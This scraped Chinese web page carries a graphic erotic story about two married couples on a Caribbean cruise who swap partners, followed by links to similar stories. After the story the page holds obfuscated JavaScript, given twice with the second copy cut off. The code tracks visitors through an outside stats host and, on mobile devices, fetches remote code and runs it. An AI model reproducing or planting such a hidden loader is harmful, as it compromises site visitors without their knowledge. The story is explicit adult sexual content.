图片载入中

邮轮之旅

特大字】 【大字】 【中字】 【小字

由于儿女都已经从学校毕业,并且开始工作,芭儿和狄克两夫妻现在终于可以过着他们自己想要的生活了。

他们的第一决定就是来一次浪漫的邮轮之旅。

但他们对海上之旅并不熟悉,于是他们邀请了他们的好朋友──姬儿和毕普这对夫妇──同行,而且由姬儿对这次加勒比海的七天之旅和所有的额外活动作了必要的安排。

他们将会住在相邻的两间邮轮套房,而且可以分享所有的欢宴。 登上邮轮,以及卸下在海上十天航行所需要的行李,是非常累人的。 但当芭儿亲眼看到位于上甲板的他们的华丽的头等舱客房时,立即恢复了兴奋的情绪。

芭儿向狄克建议,他们应该先休息一阵子,然后再去跟姬儿和毕普会合。

芭儿说完后,马上脱下衣服,脱得只剩蕾丝裤袜,然后弯着腰,趴在小小的舷窗,观看其他乘客从他们窗外经过。

芭儿和狄克的性生活,一向很多彩多姿。

他们的孩子是最好的证人,在经过他们父母的卧室时,经常会听到房内传来他们父母做爱时发出的淫声浪语。

所以,当狄克现在看见他那位正弯着腰向窗外眺望的可爱的太太时,他马上发现自己的老二硬了起来,于是,他也跟着快速脱掉衣服。

他把身体贴住芭儿,让鸡巴顶在芭儿屁股后面。

芭儿感觉到,一根大鸡巴正顶住她的屁股,并且很兴奋地振动着。 芭儿虽然已经很累了,但也跟着变得非常兴奋。

狄克开始用他的鸡巴在芭儿屁股沟里上下摩擦,芭儿则把手伸到后面,抓住他的两颗小球球,温柔摩擦起来,但两眼仍然看着其他乘客不断从他们窗前经过。

她感到无比兴奋,心想,如果被外面的人发现他们正在房里干什么,那就糗大了,但她也很确定,这是不可能的。

狄克被芭儿摸得很爽,鸡巴也因此越来越硬。

这时候,他扶着涨得发紫的大龟头,指向芭儿那毛茸茸的可爱的外阴唇。

她的阴唇向两边张开,让狄克那伟大的男性象征慢慢滑进她那开始充满爱液的小洞。

在感觉到狄克的鸡巴已经插进之后,芭儿不禁摇晃起她的屁股来,一会儿向左,一会儿向右摆动,一会儿前进,一会儿后挺。

她可以感觉得到,他的东西一进到她的阴户内,马上就要去找到她那里面最神秘的一个小点,让他们这次性交达到完美境地。

狄克的大鸡巴往芭儿的小穴内插进,一下比一下有力,芭儿双手扶着窗子,浪到极点。

狄克接着变换他的抽插速度和方向,让他的进攻带来更大的快感。 芭儿的小穴天生就有很大的润滑度,经常是水汪汪的,并且会随着狄克的抽插而分泌出更多淫水。

在狄克的狂插猛抽下,芭儿再也忍不住了,她开始浪叫起来,身体猛烈抽动,这等于是在告诉狄克,她的高潮快来了。

“用力干,干死我吧,快点,再快一点,更深一点,再深一点,爱人!”芭儿大叫。

狄克虽然还没有射精的感觉,但他知道芭儿已经快到高潮,所以他决定加强攻击力道,让她的快感达到最高高峰。

狄克从后面用力往前一顶,芭儿发出吓人的尖叫声。

她爱极了狄克的大鸡巴一下插进她浪穴深处的那种极度刺激和快感,也很喜欢狄克的球球和卵袋猛烈撞击她的屁股的那种感觉。

她再也忍受不住,一面看着窗外逐渐变暗的天空,一面陷入近乎瘫痪的高潮中。

一波又一波的激情快感,向她袭卷而来,把她带上狂喜的峰顶。 当芭儿的高潮结束时,门上传来敲门声,并且听到维姬在门外大叫:“两位可不可以稍微克制一下?你们那样子大喊大叫的,害得我们在隔壁都无法安心休息。十分钟后,我们再来接你们,一起去吃晚餐。”

原来他们疯狂的做爱声,都被隔壁的毕普夫妇听到了,芭儿觉得很不好意思,但却又有点儿骄傲。

她不再理狄克尚未射精,转身就推开狄克,虽然她的小穴的淫水还在滴滴答答流着,她还是赶紧躲进淋浴间去。

狄克则站在原地,胯下的大鸡巴却还昂然挺立着。

不过,狄克知道芭儿一点儿也不自私,一定会尽快满足他的需要。 狄克知道,在他们在动身之前,芭儿特地去买了一些新衣服,但她从未在他面前试穿过。

当她从浴室里走出来时,全身从头到脚艳光照人。

他们刚结婚时,狄克一直很喜欢芭儿那头长长的乌黑秀发,但是为了某些原因,以及因为生活比较紧张的缘故,芭儿后来就把头发剪短了。

但现在她看起来就像一朵美丽的花朵,等着有缘人把她摘下。 她现在穿的这套新衣虽然不是特别性感,但仍然显示出她美丽的身材和秀腿。

狄克看着眼前的娇妻,真想再抱着她再大干一场,因为他刚才毕竟还未射精。

但门上却在这时传来敲门声,芭儿把门打开,让姬儿和毕普进来。 狄克看到姬儿穿的那件晚宴晚礼服时,几乎流出了口水。

姬儿身高大约五呎五吋,全身呈现出喜好运动的那种深咖啡色的肤色,因而使得她的深蓝色眼睛更为醒目。

她的领口开得极低,充份显露出里面那对傲人的稣胸。

她的衣服极其贴身,充分展示她的美丽胴体。

这两对夫妇享用了一顿丰盛的晚餐,并且喝掉了旅行社招待的一瓶美酒,所以,当他们离开餐厅时,已经脚步蹒跚。

他们察看了一下船上的娱乐设施,决定到交谊厅坐坐,顺便跳跳舞。 他们选了黑暗角落后面的一张桌子。

音乐开始了,第一对下场跳舞的就是姬儿和毕普。

姬儿长得娇小可人,毕普却是又高又壮,像个运动员。

他们两人跳得很亲热,身体几乎缠绕在一起。

芭儿对狄克说:“你看,毕普那双手一直在姬儿身上摸个不停,好像他当场就要干她似的。”

她说的没错,在跳舞的时候,毕普的手一直在姬儿身上爱抚着,这使得他舞者一直盯着他们看。

看到芭儿好像已经有点兴奋,狄克也带着芭儿走下舞池,并且也开始了他自己的挑逗行动,在跳舞时爱抚着芭儿。

芭儿知道狄克先前并未泄精,今晚回到房里后一定还会再大干她一场,因此,她也开始在跳舞时,用身体去挑逗他。

芭儿紧紧握住狄克的一只手,小腹顶住狄克的肚子,缓缓摩擦着,另一只手则伸到狄克背后,轻轻抚摸他的屁股,让狄克兴奋地扭动着自己的身体。

他们慢慢移动,避开其他舞者的眼光,芭儿把手从狄克的屁股移到前面胯下,感觉到他的鸡巴已经充血涨大,正等候她的调情。

音乐结束时,他们才依依不舍地分开。

芭儿故意走在狄克前面,以便遮住狄克胯下的勃起。

当他们回到桌子时,发现姬儿和毕普的脸上露出很吃吃惊的的表情,显然不知道他们的朋友原来是如此淫荡。

毕普转向芭儿,请她赏脸,和他共舞。

她以前曾经和他跳过舞﹐但今天的情况有点特殊。

她望向狄克,想看他有何表示。

但狄克当时正和姬儿聊得很愉快,并没有注意到她。芭儿只好握住毕普伸过来的手,和他一起走下舞池。

毕普舞投技高超,尤其最擅于跳那种浪漫的慢舞。很快的,毕普就把芭儿的娇躯紧紧搂住,贴住他的身体。

她起先有点儿吃惊,但是当她随着旋律,和他一起移动着自己的身体时,她终于安下心来。

她没有想到,和毕普跳舞,竟然能够如此浪漫。

她以前一直以为他是很粗鲁‵不解风情的,但从他现在的跳舞风格来看,她的想法显然是错的。

这时,很惊人‵但又很美好的一种情况开始发生了。

芭儿感觉到毕普下面有样东西变得越来越大,并且紧紧抵住她的小腹。

这个庞然怪物难道就是毕普的鸡巴?

当毕普随着音乐移动身体时,那东西也贴住她的小腹,上上下下地移动。

毕普显然十分自得其乐,根本没有警觉。

他显然没有注意到,这种情况是不是会引起芭儿的不愉快。 然而,她并没有生气。

置身在舞池里,而且四周都是一对对正在跳舞的情侣,在这种情况下被挑逗起情欲,其实是既刺激又兴奋的。

他们火热的身体,让他们沉浸在情欲的气氛中。

音乐结束,离开舞池时,毕普故意走在芭儿后面,希望不会被人看到他的大勃起。

但芭儿发现,这显然骗不过姬儿的眼睛。

因为姬儿正以可怕的眼光看着毕普下面。

在下一只舞的时候,姬儿和毕普又下池去了,重新开始卖弄夫妇俩的亲热艳舞,芭儿和狄克则坐着观看。

芭儿说:

“狄克,刚才我跟毕普跳舞时,出了一点状况。在跳舞时,他的鸡鸡突然勃起得好大,并在我小腹上摩来摩去。他不是你的好朋友吗?怎么可以像那样子用鸡巴在我身上摩?”

狄克很生气:

“那个王八蛋!以前他和我一起带着女朋友约会时,他总是会请我的女朋友跟他跳舞,然后也会那样子用他的鸡巴摩擦她们。结果,我的很多女朋友就是那样子被他干了!”

芭儿大吃一惊:

“我不敢相信,你是他最好的朋友,他竟然这样子对你。他难道有什么毛病吗?”

“哦,他是以拥有一根大屌出名的。他不但屌大,而且有洞就钻。你刚才一定感觉得到,他那东西真的奇大无比。”

芭儿想了一下,觉得这事情真的有点儿离谱,她说:

“但我认为,他和姬儿的感情应该很好。”

“他们确实是很相爱。但在他们结婚之前,姬儿就被人传说她是个花痴,毕普才会看上她。有人传说,他们到处乱搞,在什么地方都可以做爱,有些地方说出来,会吓你一大跳。”

“你好像很了解姬儿的性癖好,是不是因为这个原因,你才会找他们一起进行这次海上之旅?”芭儿有点生气地问。

“不,不。我只是觉得,他们跟我们同年纪,人也满好的,又很风趣。告诉我,你是不是还在想着他那根大鸡巴,也许他刚刚在跳舞时把你顶得很爽。”

“哦,你真是狗嘴里吐不出象牙,不要再说了,他们回来了。” 一直到了大约凌晨二点,这两对夫妇才离开交谊厅,不但有点儿醉,也急着准备要上床。

他们在房间外面分手,互道晚安。

一进到房里,芭儿和狄克马上脱掉衣服,搂在一起,先来个深深的法式湿吻,然后躺到床上去。

芭儿撒娇地说:“我知道你要什么,狄克亲亲。你要我吸你的大鸡巴,是不是?”

“哦,芭儿亲亲,你真好。但你不要忘了,你曾经答应要把我的阴毛刮干净,这样子一来,你在吸我的鸡巴时,就不会把阴毛也吞进口里。”

芭儿去拿来狄克的电动刮胡刀,和一把用完即丢的塑胶把手的刮胡刀。

她先用电动刮胡刀刮掉狄克鸡巴上的长阴毛,再用塑胶刮胡刀把短毛清理干净。

刮完后,她又拿来清水,把狄克的鸡巴和蛋蛋都洗干净了。 狄克的大鸡巴这时已经变得很大,并且高高举起。

她很欣赏狄克这根大鸡巴,并且经常在早上狄克上班前替这根大鸡巴吹上一吹。

她抓住了他那根一跳一跳的鸡巴,一手开始上下在那上面套动着,另一手则摸着他的蛋蛋。

在被芭儿这样子按摩了几分钟之后,狄克忍不住喘着气说:“老天爷,亲爱的,含着它吧,对了,含着它,把龟头慢慢吞下去,用力吸,用力咬!用力!把整根都吞进去,骚货,整根吞下去。”

对芭儿来说,要把狄克的整条大鸡巴全部含进嘴里,并不容易。 她一向很容易反胃,事实上,只有当狄克的东西未完全勃起时,她才能把它完全含进。

但今天晚上可不同了,她一直忘不了在跳舞的时候,毕普那条大鸡巴在她小腹上磨来磨去的刺激感。

每想到那条鸡巴一次,她就把狄克的鸡巴往内吞进一寸,最后终于把整条鸡巴都吞进她那可爱的喉咙里。

看到美丽的太太第一次把他完全勃起的大鸡巴全部含进嘴里,让狄克感到无比的满足,于是,他发出一声快感的呻吟,精门一松,大量精液如喷泉般射出,一股接一股地射进芭儿嘴里,而芭儿也把它们全部吞下。

芭儿往后躺在床上,对自己感到很满意,因为这是她第一次用嘴巴让她的丈夫得到完全的满意。

不过,狄克并不是自私的男人,他知道,芭儿并没有得到完全的满足。

突然﹐芭儿的阴唇感觉到一种柔软、温暖的爱抚。

狄克已经埋头在她两腿之间,并且试着要以这种方式带给她真正的满意。

他慢慢地移动他的舌头到她的阴蒂。

芭儿很幸运,因为她的阴蒂很容易就可舔到,狄克并且开始慢慢地吸她的阴蒂。

芭儿不禁呻吟起来,并慢慢地转动她的臀部狄克明白芭儿的意思,马上把他的舌头更往下移动,并且把舌头伸到最长,尽可能地伸进阴道的最深处。

芭儿这时已经发狂式地扭动屁股,并且几近尖叫。

狄克伸出一根手指,把它插进芭儿的肛门,并且开始拨弄她那好像玫瑰花蕾的小小屁眼。

芭儿一只手疯狂地把狄克的脸更推向她那热得几乎要发出蒸汽的阴户,另一只手则用力摩擦着自己的阴唇与阴蒂。

接着,一阵天旋地转,一波接一波的高潮,如潮水般连续来袭,芭儿几乎昏了过去

第二天早上八点,他们门上传来敲门声,姬儿和毕普已经起床,正来邀请他们一起到餐厅吃早餐。

他们赶快洗好澡,也很快吃好早餐讨论接下来要干什么。

毕普建议说:“趁着大家都还没开始活动,我们不如先到游泳池玩玩。”

大家都同意这项建议,马上去换衣服。

狄克稍微有点儿吃惊,因为他发现,芭儿竟然拿出一件相当暴露的性感泳装。

芭儿穿上后,觉得有点儿害羞。

但狄克安慰她,说她穿起来很好看。

狄克并且发现,芭儿一定曾经做过裸体日光浴,所以全身晒得黑黑的,但没有留下乳罩的痕迹。

他们来到泳池时,姬儿和毕普已经在池边等待。

姬儿穿着迷你三点式比基尼泳装,充分展现出她的魔鬼身材,让人看了几乎要喷出鼻血。

她的下截泳装只是一小块布,勉强包住一小部分而已,整个阴户几乎就要显露出来。

他们找了四张椅子坐下,稍微休息一下。

很快的,毕普已经下到池里,并且和池里的一些年轻女孩玩了起来。 狄克也下去游了起来。

芭儿无法不去注意到,毕普的大鸡巴几乎要把他的泳裤撑破了。 当他坐在她对面的椅子上时,她甚至可以看到他大鸡巴的红红大龟头从泳裤里露出来。

芭儿有点儿不好意思,因为毕普的妻子就坐在她旁边,而且一定也看到同一根大鸡巴正对着她们示威呢。

等到毕普下去游泳后,姬儿对芭儿说:

“那个王八蛋!他是故意要向所有人展示他那只大鸡巴。如果他不是每晚都把我干得很爽,我早就跟他离婚了。没错,他是故意要让你和池里那些年轻女孩看到他的大鸡巴。他老是要引人注意。我真希望他能够像你的狄克那样子文质彬彬的。你真幸运,跟你丈夫出去时,他不会拿着大鸡巴去磨擦别的女人。”

“老天!姬儿,我不知道该说什么。毕普一直很风趣呀,狄克有时候太文静了。”

“哦,我懂了,你跟那些女人一样,也对他的大鸡巴很有兴趣。没错,他的大鸡巴干起来是很爽。但我总是有点担心,那东西会不会给我带来麻烦。我并不太担心他去干别的女人,因为我知道,他只是玩玩而己。我比较担心的是,他是不是会染病,或把别人的肚子搞大。”

“我不知道你和毕普的婚姻态度,竟然如此开放。看来毕普确实是很花心,但你长得这么漂亮,他怎么还会出去乱搞?”

“你真的不了解男人,他们的头脑都是由鸡巴控制的。他们看到女人时,心里想到的第一件事就是,是不是可以干她。男人都是先打量女人的胸部、大腿,最后才会正视她们。”

“我不相信所有男人都是那样子的,我的狄克肯定就不会。” “只要有机会,狄克马上就会在池边干我,就算毕普就在他旁边干你,他也不会介意。致于你自己,我注意到了,你一直盯着毕普的大鸡巴,心里一直在想,那东西插进去不知道是什么滋味。”

“我不否认,那根大家伙很吸引我注意,但我绝对不会和他搞上。” “听我说,芭儿,我不是什么圣人。我喜欢偶而出去偷情,毕普也是一样的想法,但你不要对我说,如果是在既安全又不会出问题的情况下,你会不想跟毕普干一次。”

“哦,姬儿,这种讨论没有意义,因为这种事情永远不会发生。 狄克不会同意干这种事的。”

“你在说笑话吗?如果你告诉狄克,只要让毕普干你,他就可以干我,他马上会高兴得跳起来。试试看,你够不够胆?”

“姬儿,狄克绝不会同意的。”

“好吧,那我们就来打个睹吧,如果狄克接受这样的提议,你愿意让毕普干你吗?”

这可真难以做决定。

芭儿想起毕普泳裤下那大的一大团,不禁脸红了。

她很明白,她内心深处其实是很想要那根大鸡巴的。

她也知道,船上都是陌生人,除了她自己,没有人可以替她出主意。 “睹注是什么?”芭儿问。

姬儿马上明白,芭儿愿意被毕普干了。

“很简单,如果你赢了,我就买下你刚才在艺品店里爱不释手的那枚银戒指送你。如果我赢了,你就跟我过一天的淑女日。”

“什么是淑女日?”

“保证让你爽毙了。我们可以在船上找两个幸运的年轻帅哥,和他们干些荒唐事,或者也可以光是我们两人在床上安静睡上一天,或是两件事同时进行。”

“你真是鬼点子特别多。”

两人握了握手,表示就此约定。

姬儿说:“我们下午五点见面,然后就开始进行。”

午餐后,芭儿和狄克回到房间,略作休息。

狄克对芭儿说:“你看到毕普那疲子在泳池内的模样了吗?整个早上,他的大鸡巴都跑出来见人了。那些小女生全都紧盯着那玩意儿看个不停。”

“不只是小女生爱看。毕普在这次海上之旅中一定会大出风头。姬儿一直在注意他,也跟我谈了很多。我猜想,毕普还是来者不拒,只要有机会,见洞就钻。姬儿自己好像也不甘寂寞。”

“姬儿也想找点刺激?我还以为毕普根大屌可以满足任何女人呢。虽然你们女生老是说,大小并不重要,但其实,你们还是喜欢大鸡巴的,而且是越大越好。”

“我并没有说大小不重要,但你的已经够大了,我爱死了,你每次都能满足我,而且又很体贴。”

“很高兴听到你那样说,但我觉得,这纯粹是很自然的事,因为女人在看到毕普的大鸡巴时,都会忍不住想道,如果让那东西插进来,不知道会是什么滋味,或者,你有不同的想法?”

“没有,我也有相同的想法,那东西确实是会让任何女人感到兴趣。你自己有没有亲眼见过?你一定见过的,因为你们都是一起去打高尔夫球,一定已经在更衣室看过。”

“男人不会在更衣室里相互比较鸡巴的大小,不过,毕普那东西实在太大,很难不去注意到它。”

“哦,可不可以描述一下?”

“我看你真的对它产生兴趣了,那东西一定有一呎长,而且真的很粗。我只见过一次,而且当时它是软软的,并没有勃起,不过,我认为,即使当它硬起来时,大概也不会增加太多的长度。嗨,为什么对毕普的鸡巴如此有兴趣,难道你也想被它干上一回?”

“哦,狄克,你知道我从来不曾背着你去偷情,除非……” “除非什么,芭儿?”

“除非你同意。你知道的,我们结婚时,我已经不是处女。我知道另一个男人的鸡巴感觉起来像什么。我爱你的鸡巴,但是,人都是有好奇心的,尤其是那么大的一根。”

“我不敢相信,你竟然讲这种话。我甜蜜的小亲亲,在跟我结婚这么多年后,突然想要换根大鸡巴来插插!”

“不要骗我了,狄克。我看到你一直看着姬儿。只要给你机会,你一定会丢下我,马上跑去干她。”

“芭儿,听我说,我不是圣人,当然我会看其他女人。姬儿是迷人尤物,谁都想跟她有一腿,但这绝对不会发生在我身上。”

“别把话说得太早,姬儿今天早上告诉我,她愿意和你干一次,条件是你要答应,让毕普那根大鸡巴插进我下面,而且,时间就在在今天晚上!”

狄克大吃一惊,颓然倒在床上,一句话也说不出来。

他结婚多年的妻子,难道是个他完全不熟悉的陌生人,否则怎会突然说出这样的话来?狄克决定要试试她。

“好吧,你这个喜欢大鸡巴的骚女人,去告诉姬儿,说我同意她的提议,但时间必须是今晚,而且就在我们这两间相邻的房间里。万一你想要我帮忙你把那根大鸡巴从你的小穴里拔出来,只要在墙壁上敲一下就行了。”

芭儿说:“就这么说定了。”

一会儿之后,她熘出房间,敲了敲隔壁房间的门。

姬儿探出头来,芭儿对她点点头,表示一切都安排好了。

“晚餐后,好戏上场!”姬儿高兴地说。

吃晚餐的时候,两对夫妻都有点儿紧张。

两位女仕都打扮得极其美丽性感,引起餐厅里所有男士的注目。 他们喝多了一点酒,因此,吃完晚餐后,四个人走起路来,都有点儿脚步不稳。

两对夫妇走到他们的房间前,开始进行交换伴侣的活动:男士们走入对方的房间,女士们则进入自己的房间,如此才会让她们觉得自在一点。

毕普进房后,转身脱下外衣,芭儿看着他的的背面。

他的背部宽阔,肌肉结实,散发出男性的阳刚气息。

毕普转身看着她,她却忍不住低头看着他裤档那鼓鼓的一大团。 毕普笑着说:

“芭儿,我自己很清楚,这是怎么一回事。我这条大鸡巴受到很多人的注意,有不少男人和女人主动向我投怀送抱,但我只和女的玩。我很幸运,但也很不幸。我有能力让女人得到高潮与满足,这是很少男人办得到的,但我也知道,你们女孩子因此把我看成是一个性交工具,而不是一个人。不过,我觉得这无所谓。我知道,光凭我这项本事,就可以干到很多漂亮的女生。我注意你已经很久了。”

听到毕普这番表白,芭儿有点吃惊,不知道该说什么。

“芭儿,我你有点儿紧张。把灯光调暗一点,来点音乐,坐到床上吧。”

他们坐下后,毕普要芭儿脱去他的衣服,他也动手脱她的衣服。 芭儿首先脱下他的衬衫,发现他并没有穿内衣。

她抚摸他那强壮的胸肌,并且倾身向前,吻它,舔他的乳头。 芭儿想:“没想到,我这么快就进入情况。”

裤子很难脱下,他不得不帮她。

终于,他那巨大的鸡巴首度出现在她面前。

想到要让这庞然大物进入她小小的小穴内,她不禁有点儿惊慌。 那东西真很粗,必须要两只手才握得住。当然,它很长,有一呎多。 在这时候,毕普已经脱掉芭儿所有的衣服,而芭儿自己竟然没有注意到。

他扶着鸡巴,移向她胸部。

芭儿的胸部很丰满,毕普很快地在她的两峰之间上下移动他的鸡巴,芭儿则用手分别压住她的双乳,紧紧夹住毕普坚硬的鸡巴。

“芭儿,要是你能够润滑我的鸡巴,那就更棒了。如果你没有软膏,用嘴巴含一含也可以。”

她看了那个红头怪物一眼,低下头,开始舔起它的大龟头。 她阁上眼睛,很怀疑自己为什么要这样做。

那东西竟然意外的平滑,味道也很好。

毕普显然很照顾他的鸡巴,而且在它上面涂了一些美味的润滑油。 那个大龟头现在已经被含她嘴里,她用口水滋润它,让它更方便吞下去。

接着,鸡巴柄也开始滑进她嘴里。她含得很慢,真的很慢。 她知道,要把整条鸡巴吞进去是不可能的,但她想要尽她所能。 一股看不见的力量驱使她这样做。

大龟头已经触及她的咽喉,让她再也吞不下。

她试着转个角度,希望能再吞进更多。但她再度吞不下去。毕普从她嘴里抽出他的鸡巴。

“芭儿,这样子就够了,我已经觉得很舒服了,很少人能够把它完全含进嘴里的。现在,试试看,你自己坐在我的鸡巴上,慢慢让它进入你的小穴,用不着全部进去。姬儿花了好个月时间,才让它整条进入。”

芭儿慢慢坐下去,让这条惊人的大鸡巴一吋一吋地进入到她的小穴。 红红的龟头逼近到微微颤抖的阴唇,然后慢慢推开。毕普的大鸡巴终于进到她里面。

芭儿真的不敢相信:这竟然能够带给她前所未有的快乐。

她已经生过四个小孩,小穴不再像以前那般紧,但跟这条大鸡巴比起来,她的小穴还是太紧了。

毕普很温柔,不急,远比芭儿所预料的更有绅士风度。

芭儿觉得她无法再容纳更多的毕普鸡巴,毕普也感觉到了。 他慢慢抬起她的身体,接着,再把她的身体往下带,就这样一上一下的。

由于他的鸡巴这时候已经很有润滑度,因此,这样做十分容易。 毕普的动作一开始很慢,接着,越来越快,插进去的部分也越来越多。

她的小穴这时吞进很大部分的鸡巴,多得超乎她的想像。

芭儿慢慢的从被动变主动,开始按照自己的节奏,套着毕普的鸡巴上上下下。

一下子慢,一下子快,一下子旋转起屁股,但一直没有把整条鸡巴套进去。

他很温柔地配合着。

芭儿这时终于享受到她这辈子前所未有的性爱快感。

她发现,毕普已经开始把他的鸡巴往上挺,她马上有所回应,也疯狂地向下冲刺。

这太美妙了,哦,真的很美妙。

淫水从她的小穴里不断流出,流到他的鸡巴上,滴到他的卵泡上。 她感觉到她的快感就要爆炸,毕普则发出大叫,她开始觉得,她的高潮就要来了。

那种感觉越来越强烈,已经是她自己无法控制的。他们就像两头野兽般,使尽全力,疯狂相干。

毕普猛力向着她的小穴冲刺,她则坐在他的大鸡巴上,疯狂起起落落。很快的,她达到高潮了。

接着,他也高潮了,射出滚滚浓精。他们沉浸在快乐的大海中。 芭儿不敢相信,一个男人竟然可以射出这么多的精液。

等到他的鸡巴变软,并且从她的小穴里滑出来之后,他们的身体、床上和地板到处都是精液。

他们精疲力竭,但芭儿对毕普产生很好的印象,因为他是那么温柔,而同时又让她享受到一次极其美妙的性交。

他很小心地保护她,不让他的大鸡巴伤害到她。

他们并躺在床上,她的眼光一直没有离开他的鸡巴。


上一篇:带电击棒防身反被电瘫

下一篇:女友被爷爷给上了


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 